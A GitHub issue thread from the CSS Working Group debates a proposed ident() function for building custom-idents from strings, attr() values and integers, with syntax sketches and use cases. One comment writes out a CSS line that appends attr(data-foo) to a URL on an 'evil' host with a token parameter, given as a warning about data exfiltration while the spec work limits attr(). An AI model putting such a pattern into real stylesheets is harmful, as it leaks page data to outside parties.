Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

[css-values] A way to dynamically construct custom-ident and dashed-ident values #9141

Open
bramus opened this issue Aug 2, 2023 · 46 comments

Comments

@bramus
Copy link
Contributor

bramus commented Aug 2, 2023

(This proposal has some overlap with #542, but that one is specifically about string concatenation. This proposal is about using concatenation to construct custom-idents and dashed-idents)

In many CSS features, authors need to give elements a certain name so that they can later refer to those targeted elements. Think of container-name, view-transition-name, view-timeline-name, scroll-timeline-name, etc. Depending on the property these names are of the type <custom-ident> or <dashed-ident>. These names need to be unique (within the feature that’s being used). In case of View Transitions and Scroll-Driven Animations this uniqueness can become burden for authors.

Take this Scroll-Driven Animations example, where the author is setting a unique timeline name per element, using :nth-child():

.parent {
  timeline-scope: --tl-1, --tl-2, --tl-3;
}

nav {
  li:nth-child(1) { animation-timeline: --tl-1; }
  li:nth-child(2) { animation-timeline: --tl-2; }
  li:nth-child(3) { animation-timeline: --tl-3; }
}

main {
  div:nth-child(1) { view-timeline: --tl-1; }
  div:nth-child(2) { view-timeline: --tl-2; }
  div:nth-child(3) { view-timeline: --tl-3; }
}

Same with View Transitions, where I’ve seen this code in the wild

        &:nth-child(1) {
          view-transition-name: opt-1;
          & > label {
            view-transition-name: opt-1-label;
          }
          & > input {
            view-transition-name: opt-1-input;
          }
        }
        &:nth-child(2) {
          view-transition-name: opt-2;
          & > label {
            view-transition-name: opt-2-label;
          }
          & > input {
            view-transition-name: opt-2-input;
          }
        }
        &:nth-child(3) {
          view-transition-name: opt-3;
          & > label {
            view-transition-name: opt-3-label;
          }
          & > input {
            view-transition-name: opt-3-input;
          }
        }

To make things easier for authors, it would be nice if they could dynamically construct <custom-ident> or <dashed-ident> values. I am thinking of two functions:

  • ident(…) to generate a <custom-ident> value
  • dashed-ident(…) to generate a <dashed-ident> value

The functions can accept an arbitrary number of arguments, but need at least 1. The arguments are of the type <string> or a function that generates string-like values (*).

With sibling-index() being accepted, the first example could be simplified as follows:

nav li {
  animation-timeline: dashed-ident("tl-", sibling-index()); }
}

main div {
  view-timeline: dashed-ident("tl-", sibling-index());
}

Ideally, the output of calc() and attr() would also be allowed as arguments into the proposed functions.

(*) Maybe this last part needs an explicit cast to string, which is covered in #542. Or ff the casting of the arguments would be too difficult to do, maybe some value interpolation could be used? In that case the functions would accept only 1 argument, e.g. dashed-ident("tl-{sibling-index()}").

@argyleink
Copy link
Contributor

yes! i have many use cases for this 🙂
it would really DRY up my styles.

i asked about this at the end of presenting sibling-index(), thank you so much for formalizing it and articulating the space so well 🙏🏻

@bramus
Copy link
Contributor Author

bramus commented Aug 16, 2023

While building https://codepen.io/bramus/pen/mdabWzr earlier today I came to the realisation that sibling-index() won’t cut it in the case of View Transitions. If one, for example, inserts a node in a list at position x then all indexes after that position would get shifted, essentially breaking the View Transition for all those elements.

Instead, something like random() should be used, as that one is able to generate a value per element. However, it might lead to clashes in case it generates the same value twice, so it’s not 100% closing. Maybe we also need something like unique() as that is guaranteed to not generate duplicate values.

All this to say that my initial “Ideally, the output of calc() and attr() would also be allowed as arguments into the proposed functions.” might be a requirement from the start.

@noamr
Copy link
Collaborator

noamr commented Oct 10, 2023

I love this! especially for #8320, in conjunction with #8319.
A few nits:

  • Not sure if it needs to be dashed-ident or simply ident() that joins whatever it gets, strings or attributes
  • For concatenation I would use space separation rather than comma, the same way concatenation works for content

e.g.:

ident("song" attr(id) "-" counter(foobar)) would return e.g. song300-1

@vmpstr
Copy link
Member

vmpstr commented Oct 10, 2023

Might also consider something like an iota() that would just be a single :root-level counter that increments after each use. I like leaning into counters here, since we need to be a bit careful about style containment.

unique() works too though

@bramus
Copy link
Contributor Author

bramus commented Oct 11, 2023

(#) Not sure if it needs to be dashed-ident or simply ident() that joins

I split out both because they return a different value. But I think I am misunderstanding what you are saying here.

(#) For concatenation I would use space separation rather than comma, the same way concatenation works for content

Good suggestion!

(#) All this to say that my initial “Ideally, the output of calc() and attr() would also be allowed as arguments into the proposed functions.” might be a requirement from the start.

Since attr() comes with its own set of challenges, authors initially can work around it by setting a custom prop to some sort of identifier, and use that in ident(). For example:

#item-x { --id: x; }
#item-y { --id: y; }
#item-z { --id: z; }

.item
    view-transition-name: ident("item-" var(--id));
}

@LeaVerou
Copy link
Member

I’m not sure if the best solution is a way to construct dynamic idents, or just better scoping for these features. E.g. what if nesting these inside other rules also scoped their idents?

With dynamic idents authors still need to think of a way to ensure uniqueness, which increases cognitive overhead, and is error prone.

@noamr
Copy link
Collaborator

noamr commented Oct 15, 2023

I’m not sure if the best solution is a way to construct dynamic idents, or just better scoping for these features. E.g. what if nesting these inside other rules also scoped their idents?

Can you please elaborate? I don't fully understand.

With dynamic idents authors still need to think of a way to ensure uniqueness, which increases cognitive overhead, and is error prone.

In light of #8319, the ident itself doesn't have to be unique (for view transitions).
I get the issues with this but not the alternative (yet).

Right now authors still need to ensure uniqueness but they have to do that with JS or on the server, this allows them to do this in css directly. Happy to discuss alternatives!

@bramus
Copy link
Contributor Author

bramus commented Apr 9, 2024

(#) I’m not sure if the best solution is a way to construct dynamic idents, or just better scoping for these features. E.g. what if nesting these inside other rules also scoped their idents?

Can you please elaborate? I don't fully understand.

I think @LeaVerou means that if names could be contained/scoped by whatever trigger, that would open up the way to safely allow duplicate names to exist alongside each other.

While that would work in some cases – i.e. where children look up the DOM tree to get access to a thing with a certain name – it does not work when all those named items are part of bigger whole.

For example: View Transitions with many cards still need a unique name on each card as they all participate in the same VT, or ScrollTimelines that all need to be hoisted up to a shared parent via timeline-scope, same with anchoring, etc.

(#) With dynamic idents authors still need to think of a way to ensure uniqueness, which increases cognitive overhead, and is error prone.

They already need to think about uniqueness in many cases (names for view-transition elements, containers, timelines, anchors, custom properties, etc). The solution that is pursued here would allow authors to dedupe a lot of repetitive uniqueness.

E.g. things like this:

/* This requires uniqueness in HTML and CSS */
#item-1 { --item-id: item-1; }
#item-2 { --item-id: item-2; }
#item-3 { --item-id: item-3; }
#item-4 { --item-id: item-4; }

/* This requires uniqueness only in HTML, as CSS can access those values */
.item { --item-id: ident(attr(id)); }

@noamr
Copy link
Collaborator

noamr commented Apr 9, 2024

@bramus what does the ident() function add here? Why not use strings, and turn it into an ident automatically when the property expect an ident (e.g. view-transition-name)

@bramus
Copy link
Contributor Author

bramus commented Apr 9, 2024

Parsing purposes. Think of shorthands, such as scroll-timeline.

With ident():

  • scroll-timeline: inline ident("tl-" var(--id))
  • scroll-timeline: ident("tl-" var(--id)) inline

Without ident():

  • scroll-timeline: inline "tl-" var(--id)
  • scroll-timeline: "tl-" var(--id) inline

@noamr
Copy link
Collaborator

noamr commented Apr 9, 2024

Parsing purposes. Think of shorthands, such as scroll-timeline.

With ident():

  • scroll-timeline: inline ident("tl-" var(--id))
  • scroll-timeline: ident("tl-" var(--id)) inline

Without ident():

  • scroll-timeline: inline "tl-" var(--id)
  • scroll-timeline: "tl-" var(--id) inline

Sure, though perhaps these can work without the ident function when it's not in a shorthand.

scroll-timeline-axis: inline;
scroll-timeline-name: "tl-" var(--id);
/* or */
scroll-timeline: inline ident("tl-" var(--id));

@noamr
Copy link
Collaborator

noamr commented Apr 11, 2024

So summarizing the discussion here and in #8320 into a proposal:

  • Use id() and data(foo) functions that generate idents from attributes. (Alternatively attr() with an allow-list)
    These can be used directly in ident functions, in properties that accept idents, or in custom properties
  • Use ident("literal-string" some-ident-from-attr --some-ident-from-var) to generate an ident that can be used anywhere that accepts an ident
  • If a property accepts a single ident and nothing else, the ident function can be implied (like url() in certain cases)

So this for example would work:

section {
  --the-id: id();
  --the-name: data(name); /* the data-name attribute value */
}

section .thumbnail {
  view-transition-name: "thumb-" var(--the-id) "-" var(--the-name);
  view-transition-class: any-thumbnail ident("th-" data(some-data-attr));
}

This still means that developers would need to figure out how unique IDs are created, but I don't see a way around it yet.

@Loirooriol
Copy link
Contributor

Use id() and data(foo) functions that generate idents from attributes

If data() reads arbitrary data-* attributes, I don't think it should produce an ident, at least by default.

If a property accepts a single ident and nothing else, the ident function can be implied

This seems like a huge forwards-compatibility problem.

@noamr
Copy link
Collaborator

noamr commented Apr 11, 2024

Use id() and data(foo) functions that generate idents from attributes

If data() reads arbitrary data-* attributes, I don't think it should produce an ident, at least by default.

What should it be? A string? In what properties would this string be used?
Perhaps it can have a special type, something like attribute-value that can be used inside ident() and perhaps later on inside url()?

If a property accepts a single ident and nothing else, the ident function can be implied

This seems like a huge forwards-compatibility problem.

Fair enough. We can decide this on a case-by-case basis or always require ident().

@Loirooriol
Copy link
Contributor

What should it be? A string?

Yeah. Well in fact I don't see the need for data() if you can use attr(data-name ident)

Perhaps it can have a special type, something like attribute-value that can be used inside ident()

If ident() concatenates a list of strings or idents into an ident, then no new type seems needed.

perhaps later on inside url()?

I would prefer some explicit way of concatenating strings into a string, which you may then use inside url().

ident("song" attr(id) "-" counter(foobar))

Be aware of #1929. And this would be circular:

counter-reset: ident("c" counter(c0)) 1;

At first there is no instance of c0 so counter(c0) is 0, but then this produces counter-reset: c0 1 so now it becomes counter-reset: c1 1, etc.

@noamr
Copy link
Collaborator

noamr commented Apr 11, 2024

What should it be? A string?

Yeah. Well in fact I don't see the need for data() if you can use attr(data-name ident)

The point of data() and id() is so that we don't have to allow any arbitrary attribute. It's a narrower-scope alternative to attr() which never matured/took off.

@bramus
Copy link
Contributor Author

bramus commented Apr 11, 2024

Well in fact I don't see the need for data() if you can use attr(data-name ident)

attr() comes with a bunch of security concerns, so I must say I like the proposed data() function. It narrows things down in scope – it only works on data-* attributes – allowing it to land. Later on, it can be turned into an alias for attr(data-name ident) if that ever becomes a thing.

Be aware of #1929. And this would be circular:

counter-reset: ident("c" counter(c0)) 1;

I would assume those declarations to become IACVT.

@SebastianZ
Copy link
Contributor

perhaps later on inside url()?

I would prefer some explicit way of concatenating strings into a string, which you may then use inside url().

String concatenation is discussed in #542 and there was a resolution to add an explicit function for that.

Sebastian

@LeaVerou
Copy link
Member

LeaVerou commented Apr 12, 2024

I would be much more in favor of shipping attr() support with a whitelist (the approach we’ve followed with style() queries and plan to follow with inherit() too) than expanding the language’s API surface for temporary reasons.

And yes, +1 to being able to create idents (but please, not just strings, let’s not repeat the same mistakes as content.

@noamr
Copy link
Collaborator

noamr commented Apr 12, 2024

So distilling the proposal based on the above feedback:

  • We use ident() and attr(). ident() is consistent with string(), but generates an ident instead. It can accept strings/numbers/other idents.
  • attr() with a predefined allow-list (id, data-*, ...?)

How do people feel about ident("--" ...) vs dashed-ident(...) (or --(...)) ? I have a preference for a dashed-ident function but maybe it's a bit verbose/technical?

@tabatkins
Copy link
Member

I would be much more in favor of shipping attr() support with a whitelist

Yup, some of our internal security folk were finally able to give a "probably okay" to attr() with some restrictions (mainly, not capable of making a url, unless whitelisted). I'll be working on updating the spec for this Soon. No need to make a new attr().

How do people feel about ident("--" ...) vs dashed-ident(...)

My initial reaction is that we don't need a special function just to save adding an initial "--" argument. We can always revisit in the future, but this seems like a very narrow convenience feature to justify.

@LeaVerou
Copy link
Member

I would be much more in favor of shipping attr() support with a whitelist

Yup, some of our internal security folk were finally able to give a "probably okay" to attr() with some restrictions (mainly, not capable of making a url, unless whitelisted). I'll be working on updating the spec for this Soon. No need to make a new attr().

Oof, generating data: URIs was one of the primary use cases though. 😢 Any chance it can depend on the protocol, so that data: URIs can still be allowed?
What type of whitelisting do you mean by "unless whitelisted"?

My initial reaction is that we don't need a special function just to save adding an initial "--" argument. We can always revisit in the future, but this seems like a very narrow convenience feature to justify.

Agreed.

@tabatkins
Copy link
Member

See #5092 for discussion on the security concerns, I just made some edits and posted a comment today.

(And no, I doubt data urls would be safe to allow, since you could then just inject the attr() value into a more active URL inside the data url and still exfiltrate the data.)

@kizu
Copy link
Member

kizu commented Apr 13, 2024

Yup, some of our internal security folk were finally able to give a "probably okay" to attr() with some restrictions (mainly, not capable of making a url, unless whitelisted). I'll be working on updating the spec for this Soon. No need to make a new attr().

Good to hear! My main concern for only allowing data- attributes were custom elements, where authors are free to name their attributes as they like, and it might be very useful to also use these values in CSS. Requiring using data- attributes for custom elements would feel weird.

I think it would still be ok to disallow certain attributes (value, nonce, but maybe this will be included in the “some restrictions”?), at least initially.

Thinking of data: URIs, what if… we would allow using only data-attributes for them? This could be a good compromise, and rather easy for authors to remember, as an important nuance of how attr() works (data: and data-).

This way the more simple cases with almost any attribute in attr() for simple values will be covered, and already a more complicated case of data: URIs will still be possible, but with limitations.

Alternatively (or, in addition?), could limiting the types allowed for constructing data: URIs be enough to work around its potential issues? In my practice, in almost any use case I had, the only thing I wanted was an ability to pass a color or a dimension to an SVG. Allowing only <integer>, <length> and <color> as values for data: URIs should not be more insecure than what is already possible with the attribute selector.

That said, given data: URIs are a much more complicated case, I think it could be ok to first do this without them. This way, the authors could already start using attributes for other use cases, and we could work out what we can do with the data: URIs without blocking the feature completely.

@SebastianZ
Copy link
Contributor

In my practice, in almost any use case I had, the only thing I wanted was an ability to pass a color or a dimension to an SVG.

This use case is already covered by linked parameters.

How do people feel about ident("--" ...) vs dashed-ident(...) (or --(...)) ? I have a preference for a dashed-ident function but maybe it's a bit verbose/technical?

An explicit keyword dashed could also be an option. No strong opinion on that, though.

Sebastian

@noamr
Copy link
Collaborator

noamr commented Apr 15, 2024

Yup, some of our internal security folk were finally able to give a "probably okay" to attr() with some restrictions (mainly, not capable of making a url, unless whitelisted). I'll be working on updating the spec for this Soon. No need to make a new attr().

Good to hear! My main concern for only allowing data- attributes were custom elements, where authors are free to name their attributes as they like, and it might be very useful to also use these values in CSS. Requiring using data- attributes for custom elements would feel weird.

Can be id, data-*, and any custom-element observed attribute. But seeing where we landed in #5092 this might not be necessary.

I think it would still be ok to disallow certain attributes (value, nonce, but maybe this will be included in the “some restrictions”?), at least initially.

There is no issue with the value attribute - it doesn't expose the value entered by the user (only the default value). I think actually nonce is the only sensitive attribute ATM.

Thinking of data: URIs, what if… we would allow using only data-attributes for them? This could be a good compromise, and rather easy for authors to remember, as an important nuance of how attr() works (data: and data-).

I don't think that's necessary. These subtle restrictions are going to make this feature more difficult to use.

@tabatkins
Copy link
Member

Requiring using data- attributes for custom elements would feel weird.

Note that data-* attributes are not safer to use, as this comment (and several others) seems to be implicitly assuming. They are, in fact, the most dangerous attributes to use, because they're the most likely to contain application-specific data that might be sensitive. The quickest path to an exploit with this feature is background-image: src(string("http://example.com/evil?token=" attr(data-foo)));; nearly any other usage or attribute is going to be dramatically safer. ^_^

There's only a handful of built-in attributes that have the potential to carry sensitive data: nonce, value attributes if you're using them to load up sensitive data at page load, and probably src/href values, particularly for scripts.

(So, no, limiting data uris to being constructed only with data-* attributes is not a useful harm reduction. ^_^)

@bramus
Copy link
Contributor Author

bramus commented Sep 11, 2024

(replying here to @nt1m’s reply left in #8320 (comment), as it relates more to this issue)

Fwiw, it was mentioned multiple times in this thread, but I do not think we should be introducing ident(), attr() takes a type argument already that can be set to ident in css-values-4. So attr(data-vt-id ident) should theoretically work.

The ident() function goes beyond that as it allows you to glue pieces of string together, e.g. ident("view-" attr(data-vt-id)) or ident("view-" attr(data-type) "-" attr(data-sequence)). In case a <dashed-ident> is expected as the value, you’d do ident("--" attr(data-whatever)).

Tacking onto what @tabatkins mentioned in the call about comma separated values: ident() could be crafted in such as way that you can pass in multiple options. The first option that returns something would determine the used value.

Something like ident(attr(id), attr(data-id), unique-id) where it would first try to grab the [id] attribute, then the [data-id] attribute, and to finally fall back to an internally generated unique-id.

@LeaVerou
Copy link
Member

I was originally not in favor of this, but I've been seeing a number of use cases. Even if it's not the optimal solution for all of them, it can serve as a flexible low-level workaround for many, and seems fairly easy to implement.

Syntax-wise, I don't think comma-separated is needed, whitespace-separated is what we do in other places where string concatenation happens (e.g. content), and that allows more room for expansion later (unless you think we may want to attach metadata to some of the parts, then comma-separated leaves more room).

Do we need a separate dashed-ident() function? It seems an ident() would cover that too. What's the additional benefit of `dashed-ident()? It's not even shorter, compare:

dashed-ident(var(--foo))
ident("--" var(--foo))

@bramus
Copy link
Contributor Author

bramus commented Oct 14, 2024

@LeaVerou Yes, that is the direction this issue headed into: white-space separated parts + only use an ident() function.

Trying to pour the current direction into a CSS syntax, it’s this:

<ident-fn> = ident(<ident-args>);
<ident-args> = [<string> | <attr()> | <var()> | <ident-fn>]+

(#) Tacking onto what @tabatkins mentioned in the call about comma separated values: ident() could be crafted in such as way that you can pass in multiple options. The first option that returns something would determine the used value.

Something like ident(attr(id), attr(data-id), unique-id) where it would first try to grab the [id] attribute, then the [data-id] attribute, and to finally fall back to an internally generated unique-id.

In #10995 (comment) I suggested something like a first-non-empty(…) for this. An alternative might be to define <ident-fn> as ident(<ident-args>#).

@LeaVerou
Copy link
Member

LeaVerou commented Oct 22, 2024

@bramus Nit, but I think this should be sufficient?

<ident-fn> = ident(<ident-args>+);
<ident-args> = [<string>  | <ident-fn>]+
  • attr() returns a string, so it's already included in <string>
  • Provided the var() returns a <string>, it should be already allowed?
  • What is the use case for <ident-fn> as an arg to another <ident-fn>?

The first non-empty stuff seems somewhat orthogonal, and should likely be handled more broadly.

@bramus
Copy link
Contributor Author

bramus commented Oct 23, 2024

@bramus Nit, but I think this should be sufficient?

<ident-fn> = ident(<ident-args>+);
<ident-args> = [<string>  | <ident-fn>]+

I see you have a double + in the syntax … I think the one after <ident-args>+ can be dropped, no? Or maybe you meant ident(<ident-args>#) to allow multiple options (in which the 1st non-empty one wins)?

  • attr() returns a string, so it's already included in <string>
  • Provided the var() returns a <string>, it should be already allowed?

That depends on what <attr-type> was passed into attr() in the first case and how the property was registered in the second.

  • What is the use case for <ident-fn> as an arg to another <ident-fn>?

I had a good reason but can’t see to recall it right now … hmmm.

@tabatkins
Copy link
Member

I assume we'd want to allow strings or idents, not specifically the ident() function, to allow for easy concatenation of stuff onto an existing ident. The ident() function would then be allowed, but you could also write ident(foo- attr(bar)).

@bramus
Copy link
Contributor Author

bramus commented Oct 24, 2024

Good call. So that makes:

<ident-fn> = ident(<ident-args>#);
<ident-args> = [<string> | <ident>]+

@LeaVerou
Copy link
Member

@bramus Nit, but I think this should be sufficient?

<ident-fn> = ident(<ident-args>+);
<ident-args> = [<string>  | <ident-fn>]+

I see you have a double + in the syntax … I think the one after <ident-args>+ can be dropped, no? Or maybe you meant ident(<ident-args>#) to allow multiple options (in which the 1st non-empty one wins)?

Oops, yes!

  • attr() returns a string, so it's already included in <string>
  • Provided the var() returns a <string>, it should be already allowed?

That depends on what <attr-type> was passed into attr() in the first case and how the property was registered in the second.

Do we want to allow attr() when it's NOT a string or ident? (maybe we do, it's not unreasonable! We already have the serialization...)

  • What is the use case for <ident-fn> as an arg to another <ident-fn>?

I had a good reason but can’t see to recall it right now … hmmm.

If it produces an <ident> and we allow <ident> that should cover it.

@LeaVerou
Copy link
Member

LeaVerou commented Oct 25, 2024

Good call. So that makes:

<ident-fn> = ident(<ident-args>#);
<ident-args> = [<string> | <ident>]+

Looks great, short and sweet. Agenda+ so we can get group consensus.


Btw, presumably we want this to work in var(), right? However, today, var() does not seem to accept anything other than a direct <ident>, another var() that returns an ident makes it invalid at parse time: https://codepen.io/leaverou/pen/OJKOBWK?editors=0100
@tabatkins will this require parser changes?

@tabatkins
Copy link
Member

The var(var(--foo)) not working is due to something different (the way we process vars doesn't allow this, currently), not because it requires a literal ident, per se. It does mean that, under the current architecture, var(attr(...)) won't work either (since attr() is functionally identical to a var() for this purpose), but var(ident("--foo")) should work.

@LeaVerou
Copy link
Member

@tabatkins Does that mean var() in ident() would work? Is the plan to change this so that it also allows var(var()) and var(attr())?

@tabatkins
Copy link
Member

Yeah, var(var()) probably should work, it just requires changes to the processing model. I need to open a top-level issue for it.

@kizu
Copy link
Member

kizu commented Nov 1, 2024

I remember trying var(var()) back in 2016 when I was first playing with custom properties, and being sad that we couldn't do it. If this will be eventually possible (especially with an ability to construct idents dynamically), that will be great!

@romainmenke
Copy link
Member

romainmenke commented Dec 11, 2024

Should it be possible to assign values to custom properties with constructed dashed-ident's?

:root {
  ident("--" "my-namespace" "-" "main-color"): pink; /* is this still possible since nesting? */
}

@property ident("--" "my-namespace" "-" "main-color") pink; /* maybe? */

@keithamus
Copy link
Member

Should it be possible to assign values to custom properties with constructed dashed-ident's?

:root {
ident("--" "my-namespace" "-" "main-color"): pink; /* is this still possible since nesting? */
}

This seems tricky because of arbitrary peek-ahead (what makes ident(...):pink; the declaration different to ident(...):pink {} the rule - other than the { N tokens to the right). Unless we explicitly disallow the ident( function token in a style rule's prelude, at which point that may gate off future expressivity for selectors - but maybe that's okay?

@bramus
Copy link
Contributor Author

bramus commented Dec 11, 2024

Should it be possible to assign values to custom properties with constructed dashed-ident's?

This is food for a follow-up issue, outside of the scope of the original ask.

@bramus
Copy link
Contributor Author

bramus commented Dec 11, 2024

To summarize: I am proposing the ident() function to dynamically construct <ident>s. Authors would use this when they need to set idents for a bunch of elements in one go, instead of having to set all those idents individually.

  • The syntax for ident() looks like this:

    <ident-fn> = ident(<ident-args>#);
    <ident-args> = [<string> | <ident>]+
    
  • Example usage:

    • Simple:

      .item { 
        view-timeline-name: ident("--item-" attr(data-sequence) "-tl"); /* E.g. --item-1-tl, --item-2-tl, --item-3-tl, … */
      }
    • More advanced:

      .card[id] {
        --id: attr(id); /* E.g. card1, card2, card3, … */
      
        view-transition-name: var(--id);
        view-transition-class: card;
      
        h1 {
          view-transition-name: ident(var(--id) "-title"); /* E.g. card1-title, card2-title, card3-title, … */
          view-transition-class: card-title;
        }
      
        .content {
          view-transition-name: ident(var(--id) "-content"); /* E.g. card1-content, card2-content, card3-content, … */
          view-transition-class: card-content;
        }
      }
  • FAQ:

    • Q: Why do we need the function? Can’t one directly glue things together, e.g. view-transition-name: var(--id) "title";?
      A: Parsing Purposes.

    • Q: Why not just attr(foo type(<custom-ident>))?
      A: With ident() you can glue things together, e.g. ident("view-" attr(data-type) "-" attr(data-sequence)). The pieces that need to be glued can come from other elements as well (see example with .card above)

    • Q: What about constructing dashed idents?
      A: Put "--" at the start, e.g. ident("--item-tl-" attr(data-itemnum))

    • Q: Doesn’t the attr() function need type(<custom-ident>) added to it (which now makes your examples look shorter)?
      A: No, when no <attr-type> is given, the <attr-name> gets parsed to a CSS string (see spec). Because ident() is designed to accept strings, it works just fine.

    • Q: Why not rely on something like …-name: auto?
      A: Sometimes you want to apply this generated ident to a certain element, and then apply it to a different one. See an aspirational demo like https://codepen.io/bramus/pen/PogVZwb in which the title-item-1 generated name is conditionally applied to two different elements.
      A: In many cases you also need to use that generated name somewhere else (e.g. view-timeline-name -> animation-timeline)

That should be it. Everything else mentioned in this issue but not in this comment falls outside of the scope of what is proposed.

EDIT: Also see next comment which is about adding <integer>.

@bramus
Copy link
Contributor Author

bramus commented Dec 11, 2024

One thing I realized after typing up the above: we should also allow <integer> in the function, to allow authors to, for example, use sibling-index().

@LeaVerou
Copy link
Member

LeaVerou commented Dec 15, 2024

Heh, just came here to post exactly this:

One thing I realized after typing up the above: we should also allow <integer> in the function, to allow authors to, for example, use sibling-index().

Or even things like color tints.

And we need to make sure multiple levels of this work. E.g.:

--size-1: s
--size-2: m;
--size-3: l;

--size-s: .75em;
--size-m: 1em;
--size-l: 1.25em

font-size: var(ident("--size-" var(ident("--size-" var(--i))));

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Projects
None yet
Development

No branches or pull requests